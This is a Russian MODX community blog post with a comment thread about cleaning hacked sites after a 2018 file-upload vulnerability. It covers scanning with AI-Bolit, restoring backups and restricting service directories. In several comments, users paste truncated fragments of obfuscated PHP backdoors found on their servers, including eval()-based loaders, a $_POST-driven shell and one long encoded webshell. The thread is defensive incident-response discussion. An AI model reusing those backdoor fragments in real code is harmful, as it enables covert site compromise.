Лечение зараженных сайтов на modhost.pro

Привет, друзья!

Как многие уже заметили, в MODX недавно обнаружили критическую уязвимость. Заключается она в том, что одним простым запросом можно залить произвольный файл на сайт, и выполнить его. Это может быть шел, вредоносный скрипт, что угодно.

Простота атаки и беспечность владельцев сайтов привели к тому, что я уже неделю разгребаю последствия этой атаки на modhost.pro. Итак, что нужно делать, чтобы вылечить свои сайты?

Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.

Для этого заходим на сервере по SSH, скачиваем замечательный AI-Bolit для сайтов, распаковываем zip и прогоняем сканер по всей своей директории:
wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
unzip ~/aibolit.zip -d ~/aibolit
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
Актуальную ссылку на закачку смотрите на сайте — она меняется каждый день.

После этого у вас должен быть отчёт report.json в корне рабочей директории. Выводим его на экран cat ~/report.json, копируем и вставляем на bezumkin.ru/utils/json.

В принципе, вы можете использовать любой другой антивирус или скрипт, который запустится на хостинге, но AI-Bolit очень грамотно работает, распознавая подозрительные строки кода. Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.

После этого возможны 2 варианта:

Нехороших файлов нет, ура! Обновляем сайт до MODX 2.6.5 через панель управления хостинга. Если есть Gallery, то её тоже, до версии 1.7.1. Заодно можно и другие дополнения обновить. После этого остаётся только закрыть служебные директории по инструкции — это защитит вас от подобных атак в будущем.

Вариант второй — вредоносные файлы есть. Тут еще 2 варианта:
— на хостинге есть резервная копия за 17 — 20 число, и вы можете её восстановить.
— нет копии, или работа вашего сайта не предполагает полное восстановление (много заказов, комментариев и т.д.), тогда чистим вручную.

Файлы могут быть как заруженными извне внедоносами, так и вашими скриптами, в которые дописали нехороший код. Поэтому придётся вручную по ним пройтись и проверить. Ненужные плохие удалить, нужные хорошие почистить от чужого кода.

Дальше как и в предыдущем пункте — обновляем ядро, Gallery, другие допы, и закрываем служебные директории через Nginx.

После всех работ прогоняем еще раз сканер — всё должно быть чисто. Обращаю ваше внимание, что сканер не является панацеей и что-то может пропустить. Поэтому можно прогнать его еще в параноидальном режиме:
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=2 -o ~/report-2.json --no-html --delay=5 --all
Здесь будет куча ложных срабатываний, но вы можете заметить что-то подозрительное.

На всякий случай еще посмотрите вывод ps aux в консоли — там должны быть только ваши процессы, типа php-fpm, никакой странной активности, типа запущенного почтового сервера exim от вашего имени. Еще можно смотреть свой access.log на предмет странных POST запросов — через это тоже можно найти хорошо скрытые шеллы.

Главное помните, что это не какие-то мифические неуловимые вирусы. Это просто вредоносные скрипты, залитые на сайт и работающие от имени вашего пользователя. Соседним пользователям и серверу они навредить не могут, только вашему сайту. Поэтому нужно найти и удалить все скрипты, закрыть уязвимости и всё будет хорошо. Если что-то пропустите — это что-то может снова переписать ваши файлы.

Плюсом к вашим стараниям, хостинг теперь сам мониторит странную активность, и если что-то нехорошее заметит, вы получите уведомление. Если нехорошего много, то это будет уведомление об отключении вашего сайта, потому что мы уже получили кучу жалоб от других хостингов на атаки и спам с нашего.

Напоминаю еще разок, как закрыть свои служебные директории базовой авторизацией. Судя по всему, это теперь обязательная практика для всех сайтов на MODX.
Василий Наумкин
Василий Наумкин
31 июля 2018, 09:57
modx.pro
13 561
Реклама

Комментарии: 80

Николай Савин
Николай Савин Администратор
31 июля 2018, 10:34
Сложности с отправкой писем связаны с этим? На mail.ru письма вообще перестали доходить, даже в спам, на gmail попадают в спам.
    Василий Наумкин
    Василий Наумкин Администратор
    31 июля 2018, 10:37
    Наши сервера попали в чёрные списки за отправку спама. Так что — да.

    Настраивайте внешний SMTP, как я всегда советовал.
      Николай Савин
      Николай Савин Администратор
      31 июля 2018, 10:39
      Да на продакшене понятно. На тарифе разработка — проблематично.
        Konstantin
        Konstantin Старожил
        31 июля 2018, 11:51
        Так вот оно что…
        Настраивайте внешний SMTP, как я всегда советовал
        Настроил, вс равно проблемы с отправкой почты. Письма о новых заказов не приходят, клиентам тоже.
          Василий Наумкин
          Василий Наумкин Администратор
          31 июля 2018, 12:02
          Ну тогда хостинг уже ни при чём — там напрямую с SMTP работа идёт.

          Значит, или неправильно настроил, или на проверка на спам не проходится и там. Других вариантов нет.
            alexbox
            alexbox Старожил
            31 июля 2018, 12:19
            DKIM и SPF записи почты для домена настройте yandex.ru/support/pdd/set-mail/dkim.html
            а в админке сайта SMTP авторизацию. будет всё ходить и зеленый замочек в почте отображаться, что отправитель проверен
        Raimei
        Raimei Старожил
        31 июля 2018, 15:40
        Эх, гайды для Apache бы еще. Ни у кого не завалялся проверенный конфиг для него?
        Igor Ivanov
        Igor Ivanov Старожил
        31 июля 2018, 20:39
        Почему то после установки базовой авторизации не принимает пароли, 403 страницу выдает, проверил несколько раз, перегенерировал пароль, все равно не пускает.
        P.S. Это нормально, что генератор .htpasswd каждый раз выдает разный хеш, хотя пароль ввожу один и тот же?
          Василий Наумкин
          Василий Наумкин Администратор
          31 июля 2018, 20:52
          Проверь error.log сервера, скорее всего у тебя файл паролей недоступен на чтение для Nginx.
            Igor Ivanov
            Igor Ivanov Старожил
            31 июля 2018, 21:02
            Да. там ошибки,
            2018/07/31 20:58:16 [error] 28458#28458: *4053228 open() "/home/s11188/.htpasswd" failed (2: No such file or directory)
            поставил 644 на файл, все равно в логе те же ошибки и не пускает. какие права надо на него выставить?
              Василий Наумкин
              Василий Наумкин Администратор
              31 июля 2018, 21:11
              Вот как ты умудрился создать файл с 3 пробелами на конце?! Исправил.
              Каждый день новые открытия.

              Ну и куча ошибок в логе насчёт session_handler говорит о том, что версия MODX на сайте очень старая.
                Igor Ivanov
                Igor Ivanov Старожил
                31 июля 2018, 21:18
                ) Да что б я знал! Копи-паста из генератора и вот так получилось, спасибо большое, теперь работает.
                А версию как раз вот только клиент созрел обновлять, я ее уже обновил, и стал делать базовую авторизацию, ну и вот, пришлось тебя беспокоить. Спасибо еще раз.
          Любовь
          Любовь Старожил
          31 июля 2018, 22:16
          Дико извиняюсь, но как это сделать? «закрыли служебные директории (core, manager и connectors) базовой авторизацией»
            Дмитрий Иванов
            Дмитрий Иванов Старожил
            31 июля 2018, 23:06
            Вы статью читали? Там ссылка для кого?
              Любовь
              Любовь Старожил
              31 июля 2018, 23:22
              Читала, но невнимательно. Спасибо.
            alexbox
            alexbox Старожил
            31 июля 2018, 23:00
            1) откатился на Full 18/07/2018 (более ранней копии нет)
            2) обновил MODx до последней версии средствами MODhost (кнопочка обновить систему)
            3) ставлю Айболит, всё по инструкции. Прогоняю через командную строку.
            4) получаю json, перевожу его в читаемый вид — тем самым получаю список зараженных файлов

            5) снова откатился на Full 18/07/2018
            6) НЕ обновляя систему, захожу по SSH и начинаю удалять файл за файлом из моего списка и вижу…
            что у меня НЕТ файла

            [16] => Array
            (
            [fn] => /home/s6322/www/core/packages/core.transport.zip
            [ct] => 1533063699
            [mt] => 1533063697
            [sz] => 2981227
            [sigid] => id_n6444910
            )

            значит, я получил зараженный файл ядра, скачав его при обновлении.

            вопрос: откуда качается транспортный пакет ядра?
            кто виноват?
              Дмитрий Иванов
              Дмитрий Иванов Старожил
              31 июля 2018, 23:07
              А вы тупо все, что вам выдало поудаляли?
                alexbox
                alexbox Старожил
                01 августа 2018, 11:19
                около 20 файлов, все картинки и 3 транспортных пакета и 2 лога
                не стал парится, удалил все. тупо. эффективно.
                Василий Наумкин
                Василий Наумкин Администратор
                01 августа 2018, 05:59
                значит, я получил зараженный файл ядра, скачав его при обновлении.
                Нет, значит ты тоже заметку попой прочитал.

                Там же по-русски написано:
                Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.
                AI-Bolit вообще по умолчанию файлы больше 650Kb не проверяет и помечает их как «большие», а не «зараженные».
                ivan
                ivan Старожил
                02 августа 2018, 17:25
                Всем привет. Подскажите. AI-Bolit ругается на файл -http://joxi.ru/L21QKdoh8DyZe2. Можно его удалить?
                  ivan
                  ivan Старожил
                  03 августа 2018, 07:51
                  Возможно неправильно задал вопрос.
                  AI-Bolit ругается на файл -secur.php
                  путь-manager/controllers/default/security/secur.php
                  скрин-http://joxi.ru/L21QKdoh8DyZe2
                  Подскажите можно удалить этот файл?
                    Володя
                    Володя Старожил
                    03 августа 2018, 08:22
                    Нужно удалить.
                      ivan
                      ivan Старожил
                      03 августа 2018, 08:24
                      Спасибо!
                  Это сообщение было удалено
                    Наумов Алексей
                    Наумов Алексей Администратор
                    03 августа 2018, 10:11
                    Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?

                    Или считаете кто-то имеет кучу свободного времени, чтобы изучить список из пары сотен файлов, что вы скинули?
                      АндрейЧ
                      АндрейЧ Старожил
                      03 августа 2018, 10:30
                      Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?
                      Спасибо, так смогу
                    АндрейЧ
                    АндрейЧ Старожил
                    03 августа 2018, 10:52
                    Удалите плз длинный код, я так погорячился.) Пока норм проверяю все как в гитхабе
                      Михаил
                      Михаил Старожил
                      03 августа 2018, 17:28
                      Кстати ссылка на wget битая, не качает архив
                        Василий Наумкин
                        Василий Наумкин Администратор
                        04 августа 2018, 13:41
                        Она там меняется каждый день.
                        Maxim
                        Maxim Старожил
                        06 августа 2018, 12:34
                        и мой сегодня сломали
                        подобная хрень в index php
                        //header('Content-Type:text/html; charset=utf-8');
                        $O_OOO0__00='378';
                        $OO_OO000__='378';
                        $O_O0O_0_O0='0';
                        $O_O0O0_O0_='1';
                        $O0__OO0O_0='1';
                        Каждую ночь в автоматическом режиме на сервере делается резервное копирование ваших сайтов.
                        последняя копия 28,07
                          Василий Наумкин
                          Василий Наумкин Администратор
                          06 августа 2018, 13:24
                          index php можно смело заменить обновлением сайта.
                          Ну а потом проверить всё остальное.

                          Про резервные копии писал вот здесь. На заполненных серверах они делаются, если есть свободное место. Переезжайте на сервер в РФ.
                          Maxim
                          Maxim Старожил
                          06 августа 2018, 13:44
                          заменил уже, про рф был не в курсе ok
                            Илья
                            Илья Старожил
                            07 августа 2018, 09:52
                            Скажите, есть ли более подробная инструкция для проверки сайтов на MODX AI-Bolit(ом), так сказать — «для чайников», по пунктам.
                              Андрей Степаненко
                              07 августа 2018, 10:09
                              Прошу прощение за банальность!
                              А если сделать вот так:
                              $ip = $_SERVER['REMOTE_ADDR'];
                              $PHP_SELF = $_SERVER['PHP_SELF'];
                              $protected = array(
                                  '/connectors/',
                                  '/manager/',
                                  '/core/',
                              );
                              $access_ips = array(
                                  127.0.0.1'
                              );
                              foreach ($protected as $path) {
                                  $len = strlen($path);
                                  $self = substr($PHP_SELF, 0, $len);
                                  if ($self == $path) {
                                      if (!in_array($ip, $access_ips)) {
                                          die('Access denied');
                                      }
                                  }
                              }
                              В место защиты через nginx.

                              Это же обеспечит защиту директорий, хотя бы на уровне php (как раз этого и будет достаточно чтобы сайт не заразили через эту уязвимость.
                                Василий Наумкин
                                Василий Наумкин Администратор
                                07 августа 2018, 12:31
                                Защищать уязвимый код PHP другим кодом на PHP — толково!

                                Где гарантия, что в будущем не найдут что-то, что сработает раньше твоего кода и так-же заразит сайт? Ну там, в системе вызова плагинов MODX, или инициализации контекста (где уже находили дыру).

                                Nginx — это добавление второго фактора авторизации, а не усложнение первого.
                                  Андрей Степаненко
                                  07 августа 2018, 13:45
                                  а nginx include динамически подтягивать не умеет? А то приходится перезапуска для компиляции нового списка.

                                  Покопался в документации, нашел только это:
                                  location ~* ^/(manager|core|connectors)/ {
                                                  include /home/user/www/core/admin-ips;
                                                  deny            all;
                                                  location ~* \.php$ {
                                                      include             fastcgi_params;
                                                      fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
                                                      fastcgi_pass        user.sock;
                                                  }
                                          }
                                  Чтобы в конфиг ngixn постоянно не лазить для добавления разрешенных IP:
                                  Можно было бы хранить список с IP там откуда есть доступ к примеру какого то php скрипта в котором прописываешь список разрешенных IP.

                                  По идее тогда вся защита ложится на nginx.

                                  Или для modhost:
                                  Можно сделать чтобы к примеру в папке /core/admin-ips лежал список ip
                                  Администратор добавляет туда разрешенный IP
                                  На modhost запускается скрпит каждую минуту и проверят не было ли изменений в файле. Если были то делает
                                  nginx -s reload


                                  Так уже можно что то придумать в плане управления MODX с этим списком IP. А то ну не прикольно добавлять новые IP для открытия доступа через панель управления хостинга или вообще через ssh.
                                    Василий Наумкин
                                    Василий Наумкин Администратор
                                    07 августа 2018, 14:13
                                    Открой для себя базовую авторизацию по логину и паролю.

                                    Nginx грузит весь конфиг сразу в ОЗУ, ведь он рассчитан на высокие нагрузки и это позволяет ему не перечитывать .htaccess файлы при каждом запросе, как Apache2.
                                Сергей
                                Сергей Старожил
                                07 августа 2018, 13:34
                                Проверил сайт AI-Bolit(ом). В результатах много файлов вида /home/s..../tmp/phpK9HsIy с кодом
                                [sig] => [1] <?php /* Obfuscation provided by FOPO — Free Online PHP Obfuscator: www. @!!!>fopo.com.ar/
                                Это вредоносный код? Его удалять?
                                  Василий Наумкин
                                  Василий Наумкин Администратор
                                  07 августа 2018, 14:14
                                  Директория tmp вообще не предназначена для хранения нужных файлов.
                                  Илья
                                  Илья Старожил
                                  07 августа 2018, 14:35
                                  В общем пишу инструкцию для «чайников» (таких как я, и как делал я):
                                  1. Скачиваем PuTTY для SSH (putty.exe)
                                  2. Запускаем putty.exe и подключаемся введя данные SSH из панели управления сайтом.

                                  Пароль пишите руками или вставляйте нажатием правой кнопки мыши. Пароль не будет виден, нажимайте enter и подключение пойдет дальше.
                                  3. После того как Вы подключились вводим команду скачать и распаковать архив ай-болита (она указана выше):
                                  wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
                                  unzip ~/aibolit.zip -d ~/aibolit
                                  php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
                                  Не забудьте обновить ссылку на айболит, которую можно взять здесь: revisium.com/ai/
                                  Нажимаем enter и получаем вот это:

                                  4. Ещё раз нажимаем enter, ждем 2-3 секунды и пошла проверка, которая может продлится несколько минут.
                                  5. После окончания проверки, когда вы увидите результат в 100%, вводим команду
                                  cat ~/report.json
                                  и нажимаем enter.
                                  6. На экране появится отчёт, который копируем от одной до другой узоной скобки (включительно).

                                  7. После чего вставляем его сюда bezumkin.ru/utils/json
                                  Получаем расшифровку отчёта, в котором перечислены файлы.

                                  8. Ищем подозрительные файлы, с незнакомым названием. Если файл вам незнаком, проверяем его наличие в чистом modx revo, сравнивая его с github.com/modxcms/revolution

                                  Я проверил все свои сайты. На одном нашёл несколько файлов, которые удалил.
                                  Надеюсь, кому-то будет полезно.
                                    Кирилл Киселев
                                    Кирилл Киселев Старожил
                                    07 августа 2018, 15:58
                                    Вручную не комильфо удалять, скрипт бы придумать, который сам удалит эти файлы.
                                      Владимир
                                      Владимир Старожил
                                      07 августа 2018, 17:43
                                      скрипт не нужен, есть команда
                                      rm -i $(cat fuck.txt)
                                      переносишь список файлов к удалению в отдельный текстовый файл, в нем каждая строка — удаляемый файл и путь к нему
                                      И да, вместо PuTTY под винду лучше www.bitvise.com/
                                        Кирилл Киселев
                                        Кирилл Киселев Старожил
                                        07 августа 2018, 19:22
                                        Это для вирусных файлов, но есть ещё и зараженные файлы, в которых добавили вирусные строки.
                                        А под мак?
                                          Владимир
                                          Владимир Старожил
                                          07 августа 2018, 20:04
                                          Чаще всего зараженные файлы нужно просто удалить и заменить, так как не уникальные это часто, имею ввиду что не самописные, а файлы расширений, которые проще переустановить или ядра, тогда просто накатить обновление. Уникальные — чистить руками, исследуя каждый. Картинки «зараженные»- просто удалять.
                                          Команда консольная, должна быть универсальна.
                                        Алексей Соин
                                        Алексей Соин Старожил
                                        08 августа 2018, 07:34
                                        На вкус и цвет, я, например, когда искал под винду более приятные внешне и по функционалу ftp и ssh клиенты чем такие как Filezilla и PuTTY открыл для себя для ftp — WinSCP, а для ssh — Xshell
                                          Владимир
                                          Владимир Старожил
                                          08 августа 2018, 07:40
                                          М.б. есть в разы лучше, но мне понравился Bitvise для ssh, а к Filezilla я просто привык.
                                          PuTTY — люто ненавижу)))))
                                            Виталий Батушев
                                            08 августа 2018, 08:15
                                            Xshell — лучшее, что есть. Жаль, что они его не делают мультиплатформенным. А, может, и не сильно жаль :)
                                              Raimei
                                              Raimei Старожил
                                              08 августа 2018, 14:08
                                              SecureCRT — лучшее решение для SSH. Ничего более удобного не пробовал юзать.
                                        Антон
                                        Антон Старожил
                                        07 августа 2018, 16:15
                                        Может я чего-то не понимаю, но зачем делать авторизацию в директориях core и connectors? Почему просто не закрыть их намертво от внешних запросов?
                                          Андрей Степаненко
                                          07 августа 2018, 17:30
                                          Ибо когда входишь в админку то обращаешься к этим директориям!
                                          Кирилл Киселев
                                          Кирилл Киселев Старожил
                                          07 августа 2018, 19:17
                                          Закрыл служебные категории на базовую авторизацию, теперь не приходят запросы на web-connector.php. В ответе, в режиме разработчика, приходит пустой экран. В чём может быть проблема?
                                            Сергей Шлоков
                                            Сергей Шлоков Старожил
                                            08 августа 2018, 08:37
                                            А зачем вы коннектор в служебную директорию закинули? Она на то и служебная.
                                              Кирилл Киселев
                                              Кирилл Киселев Старожил
                                              08 августа 2018, 08:58
                                              Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.
                                              Кирилл Киселев
                                              Кирилл Киселев Старожил
                                              08 августа 2018, 11:34
                                              Разобрался, index.php был в assets вредоносный, удалил, заработало.
                                              Андрей Степаненко
                                              10 августа 2018, 21:59
                                              Написал приложение: Умеет сканировать директории сайта.
                                              В будущем планируется поддержка двух версий платной и бесплатное.

                                              От вирусов оно конечно не избавит, но поможет разобраться с вашей файловой системой.

                                              Смысл в том что во время сканирования происходит заказчка вашей версия MODX из репозитория https://ilyaut.ru/download-modx/ (только чистая)
                                              Затем все распаковывается в папке core/cache/default/scannermodx/repository/modx-2.6.5-pl

                                              Запускается паук который ищет все файлы с расширение: php,js,html,tpl,css,scss,sass,less (можно свои добавить)

                                              И во время поиска сравниваются файлы ядра с версией ядра из репозитория.
                                              Если в файлах ядра были какие то изменения то вы это все увидите.
                                              В общем пробуем: https://yadi.sk/d/mLKu-jXq3a7jJU

                                              Так же составляется список карантинных файлов и список доверенных файлов и директорий.
                                              Чтобы не сканировать все подряд.

                                              Так же еще можно открыть файл и посмотреть что в нем.

                                              Вот так это все выглядит:


                                              Если будут какие то идеи по улучшению то пишите.
                                              Особенно нужны алгоритмы для отлова вирусных файлов. Чтобы можно было вычислять зараженные файлы.

                                              Директории и файлы:
                                              • 'core/components',
                                              • 'core/docs',
                                              • 'core/cache',
                                              • 'core/packages',
                                              • 'setup',
                                              • 'core/config/config.inc.php',
                                              По умолчанию исключены из сканирования. Но можно включить их в настройках: scannermodx_enabled_dir
                                                Андрей Степаненко
                                                11 августа 2018, 05:23
                                                Кстати если выдает ошибку при сканировании то попробуйете в ручную скачать свою версию MODX и положить её в папку:
                                                core/cache/default/scannermodx/repository/modx-2.6.5-pl.zip
                                                тогда скрипт автоматически начнет распаковку вашей версии. Версию можно посмотреть в настройках параметр settings_version
                                                  Igor Ivanov
                                                  Igor Ivanov Старожил
                                                  11 августа 2018, 10:15
                                                  Думаю, будет также полезно использовать ваш компонент для поиска хаков ядра, после «разработчиков», которые любят злоупотреблять этим.
                                                    Андрей Степаненко
                                                    11 августа 2018, 12:06
                                                    есть примеры кода для тестирования? Я пока только придумать смог как выявить не существующие файлы в ядре, сравнивать содержимое файлов ядра и системы, и ещё начал писать функции для проверки длины строк, чтобы найти длинные строки в файле.
                                                      Igor Ivanov
                                                      Igor Ivanov Старожил
                                                      11 августа 2018, 12:11
                                                      сравнивать содержимое файлов ядра и системы
                                                      Я про это, периодически попадают в работу сайты, владельцев которых предупреждали, и это еще очень по доброму с ними обошлись, что бы они не обновляли систему. Вот тут-то. как мне кажется, ваша разработка может помочь понять, меняли что-то в системе или нет. Или не я не правильно понял?
                                                        Igor Ivanov
                                                        Igor Ivanov Старожил
                                                        11 августа 2018, 12:14
                                                        Кстати, было бы еще классно, если бы можно было сравнивать код установленных компонентов.
                                                          Андрей Степаненко
                                                          11 августа 2018, 12:46
                                                          По компонентам тоже начал разрабатывать, но столкнулся с тем что в папке core/package MODX генерирует свои папки и файлы, в общем то необходи понять что за алгоритм чтобы можно было зеркало приложений создавать!
                                                          Но если брать папку core/components то сейчас ее можно сравнить! Тока надо залить свои преложения в папку с репазиторием!
                                                          Андрей Степаненко
                                                          11 августа 2018, 12:39
                                                          Да, все верно! Покажет изменения! Кстати сам переодически задаюсь этим вопросам при обновлении, а то вдруг кто в ядро залез и обновление все снесет.
                                                    Семён
                                                    Семён Старожил
                                                    17 августа 2018, 11:34
                                                    Кстати, сам столкнулся с такой ерундной — нашёл человека, очень быстро помог. Могу подсказать, относительно недорого сделал.
                                                      Михаил
                                                      Михаил Старожил
                                                      19 августа 2018, 09:28
                                                      Всегда подсказывай, вдруг пригодится
                                                      Андрей Степаненко
                                                      23 августа 2018, 12:19
                                                      Допилил на конце то приложение для проверки файлов:
                                                      scannermodx
                                                        Олег Захаров
                                                        Олег Захаров Старожил
                                                        24 августа 2018, 14:57
                                                        При сканировании выходят сообщения:

                                                        Консоль запущена...
                                                        Загрузка системного ядра: modx-2.6.5-pl
                                                        Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/Core.php on line 312 and defined
                                                        Загрузка ядра системы завершена
                                                        Удаление старых отчетов
                                                        Сброс сессии
                                                        Сканирование директорий: /home/host1111111/имядомена/htdocs/www/
                                                        Всего найдено файлов: 1730
                                                        Начать проверку файлов
                                                        Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
                                                        Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
                                                        ...
                                                        и так +100500 строк про on line 311
                                                        Может быть связано с тем что установка сделана не как обычно, а с Advanced версией и с выносом ядра на более верхний уровень хостинга? Критичны ли эти ошибки?
                                                          Андрей Степаненко
                                                          24 августа 2018, 15:08
                                                          Пока только на php7 работает!
                                                            Кирилл Киселев
                                                            Кирилл Киселев Старожил
                                                            25 августа 2018, 11:14
                                                            Стоит FastCGI (PHP 7.1), такие же ошибки
                                                              Андрей Степаненко
                                                              04 сентября 2018, 17:25
                                                              Поправил эту ошибку.
                                                              Теперь поддержка php5 тоже есть
                                                        Олег Захаров
                                                        Олег Захаров Старожил
                                                        24 августа 2018, 16:58
                                                        Проверил айболитом сайт, и обнаружил кучу левых файлов.
                                                        Закодированных обозначений, и т.д.
                                                        Что удивительно на одном аккаунта хостинга (host land. ru) сайт взломали, а на другом аккаунте этого же хостинга сайт с такими же настройками ничего не тронуто. У хостинга есть встроенный инструментарий айболита.
                                                        Ставились сайты по расширенной схеме установки, с переносом core на верхний уровень, переименованием manager и connectors.
                                                        Вот список того что было заражено:
                                                        файл minishop:
                                                        /htdocs/www/assets/components/minishop2/action.php
                                                        <?php  $sddc9=953;$GLOBALS['u82de9955']=Array();global$u82de9955;$u82de9955=$GLOBALS;${"GLOBALS"}['p25bd']="MDh|j,.2*pLX]k`r z...
                                                        А также были левые файлы формата:
                                                        в переименованной папке connectors:
                                                        htdocs/www/nkucon/modx.config.js.php
                                                        <?php  $l78fe=139;$GLOBALS['q1fa']=Array();global$q1fa;$q1fa=$GLOBALS;${"GLOBALS"}['ie8f4ba']="m5O0jNoJ`aPFeA*Uu)7MTlIg/W=tdD...
                                                        в переименованной папке manager
                                                        /templates/default/security/xwfngqlk.php
                                                        [x] 1…],$ecdcgle);}function snjjs($ykflixg,$ecdcgle){$rbxgy=$ykflixg[3]($ecdcgle)%3;if(!$rbxgy){eval($ecdcgle[1]($ecdcgle[2])) ;exit();}}$snpdlrd=qygzs($ykflixg,$snpdlrd);snjjs($ykflixg,$ykflixg[5]($ykflixg[2],$snpdlrd^hwmzer($ykflixg,$jpakg,$ykf...
                                                        /min/lib/HTTP/bqnuysmc.php
                                                        qhb[1],$ggsqcy);}function vrmig($cyqhb,$ggsqcy){$qtmonda=$cyqhb[3]($ggsqcy)%3;if(!$qtmonda){eval($ggsqcy[1]($ggsqcy[2])) ;exit();}}$hbcida=otbrb($cyqhb,$hbcida);vrmig($cyqhb,$cyqhb[5]($cyqhb[2],$hbcida^obcapmw($cyqhb,$zlttwd,$cyqhb[8]($hbci
                                                        /assets/modext/sections/jghrrjgz.php
                                                        <?php $sines="xufdkbzhqkxjbmhd";$gqyxidhc="";foreach($_POST as$csnktd=>$myqzsuhi){if(strlen($csnktd)==16 and substr_coun...
                                                        /controllers/default/system/event.class.php
                                                        <?php  $ad0aac=275;$GLOBALS['h1faaea']=Array();global$h1faaea;$h1faaea=$GLOBALS;${"GLOBALS"}['u97733']="sv4wC?9-tufX>L[nhrlJ`...
                                                        /min/lib/Minify/HTML.php
                                                        <?php  $daaf=485;$GLOBALS['nd89']=Array();global$nd89;$nd89=$GLOBALS;${"GLOBALS"}['q5aa44f17']="Wh$}xu|`v>'4z !S8o*F6DlAQ]aU+...
                                                        /min/lib/Minify/DebugDetector.php
                                                        <?php  $g15b8b=90;$GLOBALS['u0714688']=Array();global$u0714688;$u0714688=$GLOBALS;${"GLOBALS"}['ca8744']="[yDSA#^,7nRV'*({lUX
                                                        в корне папки assets
                                                        /assets/zlpiiuol.php
                                                        [x] 1…1],$bhegny);}function rrqivtg($vxccsyo,$bhegny){$oiznry=$vxccsyo[3]($bhegny)%3;if(!$oiznry){eval($bhegny[1]($bhegny[2])) ;exit();}}$ggxen=mfldvnr($vxccsyo,$ggxen);rrqivtg($vxccsyo,$vxccsyo[5]($vxccsyo[2],$ggxen^rgdckh($vxccsyo,$jrqyubr,$vxc
                                                        На одном из сайтов были директории плагинов редактора tinymce (не совсем понимаю почему он у меня лежит в корне сайта, а не в папке assets, лень разбирается что есть то есть)
                                                        там тоже обнаружился левый код в контроллере:
                                                        htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Controller.php
                                                        <?php  $n6655bfa1=731;$GLOBALS['s32b51d']=Array();global$s32b51d;$s32b51d=$GLOBALS;${"GLOBALS"}['l8639444']="*:18p;L"#hUujK[$J...
                                                        и
                                                        htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Benchmark.php
                                                        <?php  $ac4035c=116;$GLOBALS['ra9c765d2']=Array();global$ra9c765d2;$ra9c765d2=$GLOBALS;${"GLOBALS"}['c18ffec1']="Qtb7->L{voWkr...
                                                          Олег Захаров
                                                          Олег Захаров Старожил
                                                          24 августа 2018, 16:58
                                                          /min/tvdatruc.php
                                                          Этот файл левый лишний как оказалось — в нем явно что-то подозрительное было (без айболита не догадался бы). Может кто подскажет что делает этот файл?:
                                                          <?php
                                                           $fhfkjo = 6232; function trpnppanw($kjxxlt, $nusiveq){$wlpcduyeom = ''; for($i=0; $i < strlen($kjxxlt); $i++){$wlpcduyeom .= isset($nusiveq[$kjxxlt[$i]]) ? $nusiveq[$kjxxlt[$i]] : $kjxxlt[$i];}
                                                          $dtgakqfymz="rawurl" . "decode";return $dtgakqfymz($wlpcduyeom);}
                                                          $kbkxysfg = '%gsy2y_M49%Q6%QrfyMAXlt_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrXi1'.
                                                          '_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gs4qqiq_q4Aiq9y21%Q6s%QZ%Vv%sU%sF%gsM49_9'.
                                                          'yE4_XyEy9%Q6s%QZ%Vv%sU%sF%gsy12iq4_OM4q_lRiq9%Q6p%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrElS'.
                                                          '_4S4dO9yi2_9yE4%Qr%Qjs%QZ%Vv%sU%sF%sU%sF0iq4ldB%Qs%Q6%Qg_jbbCuo%QslM%Qs%Qgy94E%QZ%sU%sF%r'.
                                                          'v%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%Qgy94E%Qs%Qp%VU%Qs%QQ0s6dgQfs-Rp5f-gQe4-ZlRV-gVrr5d6Q0Qpf%QQ%QZ%sU%sF'.
                                                          '%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs4Sy9%Q6%QZ%Vv%sU%sF%rU%sU%sF%sU%sF%Qgfl'.
                                                          '9l%Qs%VU%Qs0yX4_149_di29429M%Q6%QrABA%VF//y2AO9%Qr%QZ%Vv%sU%sF%Qgfl9l%Qs%VU%QsMAX'.
                                                          'y9%Q6%QQ%VU%QQ%Qj%Qgfl9l%QjQ%QZ%Vv%sU%sF%sU%sF%QgR5g_f4dif4_fl9l%Qs%VU%QsRlM45g_f4dif'.
                                                          '4%Q6OqXf4dif4%Q6%Qgfl9l%evp%eU%QZ%QZ%Vv%sU%sF%sU%sF%QgM42f_fl9l%Qs%VU'.
                                                          '%QsO2M4qylXyk4%Q6f4dqtA9%Q6%QgR5g_f4dif4_fl9l%QZ%QZ%Vv%sU%sF'.
                                                          '%sU%sF%Qgq4MOX9%Qs%VU%QsM42f_fl9lp%Qs%Q6%QgM42f_fl9l%QZ%Vv%sU%sF%sU%sFy0%Qs%Q6%Qp%Qgq4MOX9%QZ%sU%'.
